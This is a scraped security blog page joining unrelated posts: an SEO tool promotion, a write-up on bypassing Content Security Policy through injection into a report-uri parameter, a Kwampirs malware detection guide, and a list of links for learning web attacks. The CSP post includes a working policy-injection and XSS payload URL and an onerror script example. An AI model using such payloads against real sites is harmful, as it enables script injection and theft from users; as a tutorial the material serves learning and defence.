.:: Dark Site ::.

Word Combiner Can Create Hundreds of Domain Names in Seconds

<div dir="ltr" style="text-align: left;" trbidi="on">
<h1 dir="ltr" style="line-height: 1.295; margin-bottom: 0pt; margin-top: 12pt;">
</h1>
<h1>
<span style="font-family: "times new roman" , serif; font-size: 12pt; font-weight: normal;">The biggest advantage all the users can get after making use
of the word combiner made by the Prepost Seo is the eradication of the mistakes
normally committed by human beings. To create words with the help of word
combinations is a very daunting task. In case you are not making use of a tool,
then you will waste your important time and energy in a combination of words as
it is a very long experience.</span></h1>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjxyFZxV2uFUiXdh7YjkG1lFnuXkx2n8T6w1LmdtlbDZLR_Xq-PZLhaiqhyZwiCyn2XH61VwQKobNN48lXuQy4k_GcNzlBJaN6W85ee0VcYUa_YOikfCsWwsY5lEQhgcRpMkElPqT8Emyg/s1600/word.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="1024" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjxyFZxV2uFUiXdh7YjkG1lFnuXkx2n8T6w1LmdtlbDZLR_Xq-PZLhaiqhyZwiCyn2XH61VwQKobNN48lXuQy4k_GcNzlBJaN6W85ee0VcYUa_YOikfCsWwsY5lEQhgcRpMkElPqT8Emyg/s400/word.jpg" width="400" /></a></div>
<div class="MsoNormal">
<span style="font-family: "times new roman" , serif; font-size: 12pt;"><br /></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">As you need to write all the possible and probable
combinations which you think could be appropriate. If you use our tool, then
all those combinations will be done by us. Plus, you will not miss any part
otherwise if you do this process on your own then there is a chance of making
mistakes. We will also explain to you the benefits of using the </span><span style="font-family: "times new roman" , serif; mso-fareast-font-family: "Times New Roman";"><a href="https://www.prepostseo.com/word-combiner">Prepostseo</a></span><span style="font-family: "times new roman" , serif; font-size: 12.0pt;"><a href="https://www.prepostseo.com/p/factors-affecting-websites-to-rank-in-2019"> </a>word combiner tool. Kindly, keep on reading!<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">In this article, we will also inform you about the usage of
word combiner in creating domain names. For your website, you need one
particular domain. That is very logical. Why would you need multiple domain
names? This is a very real question. So, these days many people have invested
in the domain names. They have purchased in the domain names through </span><a href="https://godaddy.com/"><i style="mso-bidi-font-style: normal;"><span style="font-family: "times new roman" , serif; mso-fareast-font-family: "Times New Roman";">Go
Daddy</span></i></a><i style="mso-bidi-font-style: normal;"><span style="font-family: "times new roman" , serif; font-size: 12.0pt;">.</span></i><span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> If in future someone is looking to
buy them, then the person can sell it at a higher price.</span></div>
<h2>
<b style="mso-bidi-font-weight: normal;"><span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">
Make no mistakes<o:p></o:p></span></b></h2>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">It is natural that we are all full of imperfections. The most evident flaw
which every human commits is the skipping of things mistakenly. There are firms
that are trying to make a big investment in the domain names. So, if they give
the job to a person to do the combinations and merging manually. Then surely
the employee would miss many of the domain names and would not be able to let the
company invest in more domain names.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">If any of the domain names is missed by the company then
naturally the firm misses a very big chance of investment. Everyone knows how
beneficial it is these days to invest in the domain names. The use of the word
combiner tool created by the Prepost Seo will let you create so many word
combination which can help to create umpteen number of domain names. The firms
can invest all of them. In a few years’ time, the companies will itself
experience that their investment will give them millions of dollars in return.
It is because of the boom in the digital marketing industry. It is expected
that more and more people will move towards </span><span style="font-family: "times new roman" , serif;"><a href="https://www.prepostseo.com/p/mindblowing-statistics-for-a-better-digital-marketing-strategy">digital marketing</a></span><span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> by 2020.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">Furthermore, it is not just for the sake of investment that
the firms make domain names. Sometimes there are conglomerates who are
willing to launch multiple brand names. For them, the creation of different
websites would work. For instance, in order to capture the market, the
conglomerate can create multiple websites with the same kind of product range
in order to capture the market. Consequently, customers will not go anywhere.
Obviously, for this matter, more domains will be helpful.<o:p></o:p></span></div>
<h2>
<b style="mso-bidi-font-weight: normal;"><span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">Simple use of word merge tool<br style="mso-special-character: line-break;" />
<o:p></o:p></span></b></h2>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">You do not need to own a post-graduation in information
technology. Similarly, you do not need to have the certifications in Oracle,
Python, etc. The word combiner tool can be used smoothly and easily. All you
need to do is open the website. Even if you do not have any basic computer
knowledge. It does not matter. You just need to type and you can see the most
probable combinations. Make sure to type the words separately on each line.<br style="mso-special-character: line-break;" />
<o:p></o:p></span></div>
<h2>
<b style="mso-bidi-font-weight: normal;"><span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">What is the usage of Word Combiner?</span></b></h2>
<h3>
<b style="mso-bidi-font-weight: normal;"><span style="color: windowtext; font-family: "times new roman" , serif; mso-fareast-font-family: "Times New Roman";">
<o:p></o:p></span></b></h3>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">With the assistance of this tool, you can create the
contents of better quality, and as a result, the website can get better ranking
on search engine results pages. So, if your website is ranked on the first page
of Google and is at the top position then it will generate more traffic. More
people will visit it. Ask this question yourself. Will you go to the second or
third pages of Google to search for anything? The answer is <i style="mso-bidi-font-style: normal;">‘No’</i>. It is because people want to make
it easier for them. They don’t want to make it too hectic. That is why people
prefer visiting websites on the first page. The only way to achieve is by using
specific and particular keywords. So, a search engine optimizer has to make use
of word combinations carefully and skillfully. When a website is ranked at a
higher slot, more people would be convinced about clicking it. <br style="mso-special-character: line-break;" />
<o:p></o:p></span></div>
<h3>
<b style="mso-bidi-font-weight: normal;"><span style="color: windowtext; font-family: "times new roman" , serif; mso-fareast-font-family: "Times New Roman";">Creation of
appropriate backlinks<o:p></o:p></span></b></h3>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">If appropriate and proper backlinks are created then they naturally increase
the prospects of the websites as soon as possible. It is not something that takes ages. The process of backlinking involves hyperlinking specifically in
your content to link to a particular website. With the help of a guest post, the
backlinks can be established. Those guest posts must have the best content
quality with the appropriate keywords. It is good to adjust more and more
keyword combinations in order to let the major searches by the users.<br /><o:p></o:p></span></div>
<h2>
<b style="mso-bidi-font-weight: normal;"><span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">Different stages involved in the process</span></b><b style="mso-bidi-font-weight: normal;"><span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"><o:p> </o:p></span></b></h2>
<div class="MsoNormal">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">The Prepost Seo has manufactured a very easy to use
tools. The tool delivers the result in a matter of seconds. All the existing
possibilities will be presented to you. If you are a search engine optimizer or
just a layman you can see the possibilities of combinations.</span><span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"> Please, follow the steps mentioned
and explained below:<br style="mso-special-character: line-break;" />
<o:p></o:p></span></div>
<h3 style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="color: windowtext; font-family: "symbol"; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">      
</span></span></span><b style="mso-bidi-font-weight: normal;"><span style="color: windowtext; font-family: "times new roman" , serif; mso-fareast-font-family: "Times New Roman";">Pick a reliable word combiner tool<br style="mso-special-character: line-break;" />
<o:p></o:p></span></b></h3>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">We suggest you decide this part very carefully and not to
rush. The combining tools available on the internet only produce inefficient
and insufficient results. There would be nothing different in their results.
Try to select the proper kind of tool.<br style="mso-special-character: line-break;" />
<o:p></o:p></span></div>
<h3 style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="color: windowtext; font-family: "symbol"; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">      
</span></span></span><b style="mso-bidi-font-weight: normal;"><span style="color: windowtext; font-family: "times new roman" , serif; mso-fareast-font-family: "Times New Roman";">Picking the right keywords</span></b></h3>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">
The tool will only work when you have used the right kind of keywords. In case
of keywords being missed then the tool will not work properly. The inappropriate
combinations will appear as a result. <br style="mso-special-character: line-break;" />
<o:p></o:p></span></div>
<h3 style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="color: windowtext; font-family: "symbol"; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">      
</span></span></span><b style="mso-bidi-font-weight: normal;"><span style="color: windowtext; font-family: "times new roman" , serif; mso-fareast-font-family: "Times New Roman";">Combine the keywords</span></b></h3>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 7.5pt;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">
This is the final part and if you are serious then you should know that this
part can even decide the future of your website. Do not take risks or chances.
Please, make sure that the keywords have not been missed. We suggest you use
the maximum number of possible combinations that appear when you click on the
word <i style="mso-bidi-font-style: normal;">‘Combine’</i>. It will generate more
customers to your website. Write all the words separately and properly in the
box of the text present on the website. Finally, you need to click on the word
‘<i style="mso-bidi-font-style: normal;">Combine’.</i><o:p></o:p></span></div>
<div class="MsoNormal">
<span style="background-color: white; border: 1pt none; font-family: "georgia" , serif; font-size: 14.6667px; padding: 0cm; text-align: justify;">Author Bio: Asad Shehzad writes SEO articles for online business marketers and SEO tools users to make their Google rankings surge. His articles have appeared in a number of websites i.e., <i><u>eLearning Industry</u></i>, <i><u>Calculators.tech</u></i> and <i><u>Inside Tech Box</u></i>. He contributes articles about digital marketing, SEO techniques, and tech regularly to </span><b style="background-color: white; color: #222222; font-family: Calibri, sans-serif; font-size: 14.6667px; text-align: justify;"><i><u>Prepostseo.com</u></i></b></div>
</div>

Word Combiner Can Create Hundreds of Domain Names in Seconds

The biggest advantage all the users can get after making use of the word combiner made by the Prepost Seo is the eradication of the mist...

How to perform CSP Bypass | techniques.

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="MsoNormal">
During one of my recent security testing, I came across a
very interesting scenario where some token was passing using GET requests. Of course
I can sense some interesting things here. For the protection, this application
was having almost all security headers that you will find in modern web
application.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8sGNoxCeo6f-23nZa_KUznBbnlSD__DbaR47eyU_hW6KySgrLSJTlHDra5_26BjJmk14P9hw5yCL7LqCpEv3YS0tCt_P4KnOPWTi1eKLcirbjzPkDsYcDt0cyykWhKerwIVyLJbxnCdX6/s1600/content-security-policy.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="630" data-original-width="1200" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8sGNoxCeo6f-23nZa_KUznBbnlSD__DbaR47eyU_hW6KySgrLSJTlHDra5_26BjJmk14P9hw5yCL7LqCpEv3YS0tCt_P4KnOPWTi1eKLcirbjzPkDsYcDt0cyykWhKerwIVyLJbxnCdX6/s640/content-security-policy.jpg" width="640" /></a></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="MsoNormal">
One of the headers that grab my attention was CSP.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
https://www.xyz.com/upload/content/info/data/csp?<span style="box-sizing: border-box;">parameter=<span style="color: red;"><b>tokens</b></span></span></div>
<div class="MsoNormal">
<span style="box-sizing: border-box;"><br /></span></div>
<div class="MsoNormal">
For those who don’t know what is CSP can go through this good
url.</div>
<div class="MsoNormal">
<a href="https://www.netsparker.com/blog/web-security/content-security-policy/">CSP Netsparker Read</a> </div>
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Mozilla CSP Read</a><br />
In simple word, CSP is used to prevent attacks like XSS, mix
content security issues or things that lead to code injection into trusted
resources.<br />
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Talking about in my target I noticed headers like.<span style="color: #333333; font-family: "consolas"; font-size: 10.0pt; line-height: 107%;"></span></div>
<div style="background: whitesmoke; border: solid #CCCCCC 1.0pt; margin-left: 15.0pt; margin-right: 15.0pt; mso-border-alt: solid #CCCCCC .75pt; mso-element: para-border-div; padding: 7.0pt 7.0pt 7.0pt 7.0pt;">
<div class="MsoNormal" style="background: whitesmoke; border: none; line-height: normal; margin-bottom: 22.5pt; mso-border-alt: solid #CCCCCC .75pt; mso-padding-alt: 7.0pt 7.0pt 7.0pt 7.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; word-break: break-all;">
<span style="background: white; color: #333332; font-family: "courier";">Content-Security-Policy: default-src
'self' https://*.xyz.com https://www.xyz.com 'unsafe-inline';img-src https:
data:;object-src 'none'; report-uri /upload/content/info/data/csp?</span><span class="red"><b><span style="box-sizing: border-box;"><span style="color: #990000;">parameter=tokens</span></span></b></span><span style="color: #333333; font-family: "consolas"; font-size: 11.5pt;"></span></div>
</div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">Xyz.com we can see it was pulling the token in GET
request and embedding to headers into <span style="mso-spacerun: yes;"> </span>report-uri directive of their CSP. So if we inject
anything there it will go into csp part.</span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><br /></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">There is a nice write up where I read about a <a href="https://portswigger.net/research/bypassing-csp-with-policy-injection">similar case</a> so I thought of trying something similar .so I
used the semicolon and dash symbol <span style="mso-spacerun: yes;"> </span>to
inject into CSP.</span></div>
<div style="background: whitesmoke; border: solid #CCCCCC 1.0pt; margin-left: 15.0pt; margin-right: 15.0pt; mso-border-alt: solid #CCCCCC .75pt; mso-element: para-border-div; padding: 7.0pt 7.0pt 7.0pt 7.0pt;">
<div class="MsoNormal" style="background: whitesmoke; border: none; line-height: normal; margin-bottom: 22.5pt; mso-border-alt: solid #CCCCCC .75pt; mso-padding-alt: 7.0pt 7.0pt 7.0pt 7.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; word-break: break-all;">
Content-Security-Policy:
default-src 'self' https://*.xyz.com https://www.xyz.com 'unsafe-inline';img-src
https: data:;object-src 'none'; report-uri /upload/content/info/data/csp?<span style="box-sizing: border-box;">parameter=<span style="color: #990000;"><b>tokens;-abc</b></span></span></div>
</div>
<div style="background: white;">
<br /></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">Now that it's working let's create POC. Chrome by
default ignores invalid directives and we have our injection point is getting
embedded to end of the policy.so let's override the directives. </span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">Well, many directives needed a hit
and trial approach. Like</span></div>
<pre style="background: white; margin-bottom: 12.0pt; margin-left: 0in; margin-right: 0in; margin-top: 12.0pt;"><span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">directive-name<span style="mso-spacerun: yes;">  </span>= "script-src-elem"</span></pre>
<pre style="background: white; margin-bottom: 12.0pt; margin-left: 0in; margin-right: 0in; margin-top: 12.0pt;"><span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">directive-name<span style="mso-spacerun: yes;">  </span>= "img-src"</span></pre>
<pre style="background: white; margin-bottom: 12.0pt; margin-left: 0in; margin-right: 0in; margin-top: 12.0pt;"><span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">directive-name<span style="mso-spacerun: yes;">  </span>= "object-src"</span></pre>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">and many checks here </span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><span style="color: windowtext; text-decoration: none; text-underline: none;"><a href="https://w3c.github.io/webappsec-csp/#csp-directives">CSP Directives</a></span></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><br /></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">you can use any directives that work for you. <span style="mso-spacerun: yes;"> </span>I used one of<span style="mso-spacerun: yes;"> 
</span>them script-src-elem.</span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">The </span><i>script-src-Elem</i> directive
applies to all script requests and script blocks. Attributes that execute
script (inline event handlers) are controlled via script-src-attr. So as per our desired policy to attack would be.</div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><br /></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">Content-Security-Policy: script-src-elem
'none'; script-src-attr 'unsafe-inline'</span></div>
<div style="-webkit-text-stroke-width: 0px; background: white; box-sizing: border-box; font-variant-caps: normal; font-variant-ligatures: normal; margin: calc(0.5 * var(--spacingbase)) 0; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; widows: 2; word-spacing: 0px;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><script>alert("Will
be Blocked")</script><br />
<img src=X onerror="alert('Can run happily')">demo</a></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><br /></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">This directive overwrite existing script-src (which
most directives behave)so you can bypass CSP easily.</span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">The interesting thing about this directive is
that it will overwrite existing script-src directives! So you can use it to
bypass CSP provided you have policy injection</span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">So the payload will be </span></div>
<div style="background: white;">
<span style="color: red; font-family: "calibri" , sans-serif; font-size: 11.0pt;"><br /></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11pt;"><b><span style="color: red;"><span style="font-size: 12pt; text-decoration: none;"><a href="https://www.xyz.com/upload/content/info/data/csp?token=%3b%2dscript-src-elem+*&param=%3cimg+src=%22uploadedserver/xsspayload.js%22%3e%3c/img">https://www.xyz.com/upload/content/info/data/csp?parameter=%3b%2dscript-src-elem+*&param=<img+src="XSS payload"></img</a></span>></span></b><span style="color: red;"></span></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><br /></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">so just by implementing the security doesn’t always
help to make your product secure, of course, it adds a defense level but not 100%
.hope you liked it.</span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;"><br /></span></div>
<div style="background: white;">
<span style="font-family: "calibri" , sans-serif; font-size: 11.0pt;">Thanks for reading have a nice time ahead.</span></div>
<div class="MsoNormal">
<br /></div>
<br /></div>

How to perform CSP Bypass | techniques.

During one of my recent security testing, I came across a very interesting scenario where some token was passing using GET requests. Of c...

Health Care Malware Kwampirs in Details

<div dir="ltr" style="text-align: left;" trbidi="on">
This post is about kwampirs malware which is targeting health care malware majorly, in this post I will share my recent experience with this malware identification as well as tips to make your system free from this malware.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY_aTwUT2QFIInaSnyJjOCYBGgvQKlq93aH8Vz6gmfrkrBiR7QRnFBu2eOHom5FFl0AwQoguuWYZJolujamYVOudzWlEi2LhXO3p-Xzy8BIlxWaBQmzKL57lrmLuguLcW2OwsNePaEYbUs/s1600/kwampirs.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="510" data-original-width="1181" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY_aTwUT2QFIInaSnyJjOCYBGgvQKlq93aH8Vz6gmfrkrBiR7QRnFBu2eOHom5FFl0AwQoguuWYZJolujamYVOudzWlEi2LhXO3p-Xzy8BIlxWaBQmzKL57lrmLuguLcW2OwsNePaEYbUs/s640/kwampirs.jpg" width="640" /></a></div>
<h2>
About Kwampirs:</h2>
<br />
Kwampirs is basically a backdoor trojan used by hackers to gain remote access to compromised computers. When executed, the Trojan decrypts and extracts a copy of its main DLL payload. Kwampirs target WMI performance adapter service present in windows and upon infection it makes the service as WMI Performance Adapter Extension (WmiApSrvEx) type autostart.It only targets windows system that doesn't any sort of security prevention mechanism such as the latest antivirus.It doesn't have anything to deal with Linux/Mac environment.<br />
<br />
<h2>
How to check for kwampirs infection?</h2>
In your system go run (win+R) type services.msc.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPmx5iTVkIf2lzQVz5-5oZYkn1IdMEy2Yw_RENcmDP5tngITDx0GfligMswUX-AclIUkR0y_kOMk-hwDnV5yTCxSTFMWDfKQh5MmhJ9SPUPWDSOnj-qrFOlvhYBp7tLg6Xd83nrDAFpZOC/s1600/service.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="259" data-original-width="404" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPmx5iTVkIf2lzQVz5-5oZYkn1IdMEy2Yw_RENcmDP5tngITDx0GfligMswUX-AclIUkR0y_kOMk-hwDnV5yTCxSTFMWDfKQh5MmhJ9SPUPWDSOnj-qrFOlvhYBp7tLg6Xd83nrDAFpZOC/s320/service.jpg" width="320" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Check for the service WmiApSrvEx (<b>WMI Performance Adapter Extension</b>) if it is in running /stopped state means it is infected with kwampirs.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnnklVk02cQF-8LV63hZ1I11KNrgzJHBxXRHM0GIsp-p_cLmVJxioVHqrSxyJj3NQ78ix90WOZcgzvJqMeu0_4Ya5wvR61YzCJijf9AL5njZX_6v5kwtkFV2ZQurA4AcA4SIS-TcyprXHM/s1600/infection.jpg" imageanchor="1"><img border="0" data-original-height="321" data-original-width="593" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnnklVk02cQF-8LV63hZ1I11KNrgzJHBxXRHM0GIsp-p_cLmVJxioVHqrSxyJj3NQ78ix90WOZcgzvJqMeu0_4Ya5wvR61YzCJijf9AL5njZX_6v5kwtkFV2ZQurA4AcA4SIS-TcyprXHM/s320/infection.jpg" width="320" /></a><br />
<br />
You can also check for the infection using the registry.<br />
<b><br />
Key Path:</b> <i>CurrentControlSet\Services\WmiApSrvEx\</i><br />
<b>Path:</b> <i>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WmiApSrvEx</i><br />
<br />
Not only that you can also have a look in system folder such as c:\Windows\System32\ & C:\windows\SYSWOW64 for service name (.exe)<br />
wmiapsrvce<br />
wmipsrvce<br />
wmiapsrvcep<br />
wmiapsvrce<br />
etc or dll <br />
wmiamgmt<br />
wmiassn<br />
wmipadp<br />
<br />
Also some .PNF files are associated with the malware:<br />
C:\Windows\inf\mtmndkb32.pnf<br />
C:\Windows\inf\digirps.pnf<br />
Etc<br />
<br />
<h2>
Target Systems :</h2>
A system with no Antivirus protection.<br />
Older XP Or server 2000/2008 system which is not managed properly.<br />
<br />
<h2>
Steps to Make your network Kwampirs Infection Free:</h2>
Make sure all the system are having the latest antivirus protection.<br />
If a certain group system such as XP where you can't have antivirus protection make sure they are operated in an isolated network.<br />
<br />
Hope these post help you to know details about kwampirs.<br />
<br />
Please do provide a view on this, if you have any query i will definitely try my level best to answer.</div>

Health Care Malware Kwampirs in Details

This post is about kwampirs malware which is targeting health care malware majorly, in this post I will share my recent experience with thi...

Learning Security Testing : For Beginners

Hi friends,its been long time since i have't posted some thing so here is some thing that will help you for sure.There are many people out there/students who ask me lot of time i want to learn this security stuff from where i should start.<br />
<br />
again let me clearly tell you this web site contains many link pick any one that will be help full to you.now i am making some structured urls from which you can easily learn many things .remember these are all for technical purpose only :).<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz4qjw9odYn-k6lOCSsH_g0v9c8Nc0Vhe8l7-6tZumiI1rkrzhiJjZVTHlFjgQL4tXcWkTAcQaIeJ326-xadfadlDLmoQ4NaeVof6Z8Yqf3za_HcZM9Imf8lLTtlCRF1pDer22964r0bXn/s1600/Beginner.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz4qjw9odYn-k6lOCSsH_g0v9c8Nc0Vhe8l7-6tZumiI1rkrzhiJjZVTHlFjgQL4tXcWkTAcQaIeJ326-xadfadlDLmoQ4NaeVof6Z8Yqf3za_HcZM9Imf8lLTtlCRF1pDer22964r0bXn/s320/Beginner.jpg" /></a><br />
so here we go for Web application security part.<br />
Learn the fundamental/primary attacks.<br />
<br />
<b>-XSS(cross site scripting )</b><br />
<br />
<li>Beginners tutorial on XSS :<a href="http://excess-xss.com/">See this link</a><br />
<li>Google XSS learning Tutorials: <a href="https://www.google.com/about/appsecurity/learning/xss/">See this link</a><br />
<li>Advance attacks bypass XSS Filters/IDS:<a href="https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf">See this book</a><br />
<br />
<b>-CSRF(Cross Site request Forgery)</b><br />
<br />
Many beginner find this slight difficult to understand so here below link for simple explanation.<br />
<li>How to find CSRF and Preventing  <a href="http://blackhat.com/presentations/bh-usa-06/BH-US-06-Gallagher.pdf">Download this book</a><br />
<li>exploiting/attacking with  CSRF Vulnerability <a href="http://tipstrickshack.blogspot.com/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html">See this link</a><br />
<br />
<br />
<b>-SQL Injection</b><br />
<br />
<li>Introduction to SQL Injection error based sqli: <a href="https://prakharprasad.com/introduction-to-sql-injection-and-exploitation-mysql-5-error-based/">See this link</a> <br />
<li>MSSQL Injection Complete Tutorial- <a href="https://www.exploit-db.com/papers/12975/">See this link</a><br />
<li>Everything you wanted to know about SQL injection - <a href="http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-sql.html">See this link</a><br />
<br />
<br />
<b>Remote Code/Command Execution</b><br />
<br />
<li>How to find RCE in scripts (with examples)- <a href="https://www.exploit-db.com/papers/12885/">See this link</a><br />
<li>Yahoo vulnerability LFI Converted to RCE (patched)- <a href="https://soroush.secproject.com/blog/2013/10/yahoo-bug-bounty-program-lfi-reported-and-patched/">See this link</a><br />
<li>Remote Code Execution in Elasticsearch - CVE-2015-1427 Deep research <a href="http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/">See this link</a><br />
<b><br />
XML external entity attack </b><br />
<br />
<li>How to detect XXE - <a href="http://www.christian-schneider.net/GenericXxeDetection.html">See this link</a><br />
<li>XML Out-Of-Band Data Retrieval research Black Hat 2013 - <a href="https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf">Download PDF</a><br />
<li>SSRF vs. Business-critical applications: XXE tunneling in SAP - <a href="https://erpscan.com/wp-content/uploads/publications/SSRF-vs-Businness-critical-applications-final-edit.pdf">Download PDF</a><br />
<li>What you didn’t know about XXE -<a href="http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf"> Download PDF</a><br />
<br />
<b>Other few popular attacks on web application</b> <br />
<br />
<li>Server side request forgery Attacks - <a href="http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities">Slides</a><br />
<li>Cross Site Port Attacks - <a href="http://ibreak.software/2013/05/10/xspa-ssrf-bug-with-facebooks-developer-web-application/">BY Riyaz</a><br />
<li>Hunting for Top Bounties - <a href="https://www.youtube.com/watch?v=mQjTgDuLsp4">YouTube link</a><br />
<li>How to steal and modify data using Business Logic flaws - <a href="http://www.slideshare.net/fransrosen/how-to-steal-and-modify-data-using-business-logic-flaws-insecure-direct-object-references">Slides Security for developers</a><br />
